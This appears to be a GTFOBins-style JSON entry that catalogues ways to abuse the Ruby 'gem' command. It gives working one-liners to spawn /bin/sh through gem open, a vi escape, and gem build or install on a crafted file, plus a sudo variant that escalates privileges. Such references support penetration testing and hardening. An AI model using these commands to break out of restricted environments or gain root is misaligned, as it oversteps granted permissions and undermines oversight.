{
  "functions": {
    "shell": [
      {
        "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
        "code": "gem open -e \"/bin/sh -c /bin/sh\" rdoc"
      },
      {
        "description": "This invokes the default editor, which is likely to be 'vi', other functions may apply. This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
        "code": "gem open rdoc\n:!/bin/sh\n"
      },
      {
        "description": "This executes the specified file as 'ruby' code.",
        "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem build $TF/x\n"
      },
      {
        "description": "This executes the specified file as 'ruby' code.",
        "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/x\ngem install --file $TF/x\n"
      }
    ],
    "sudo": [
      {
        "description": "This requires the name of an installed gem to be provided ('rdoc' is usually installed).",
        "code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc"
      }
    ]
  }
}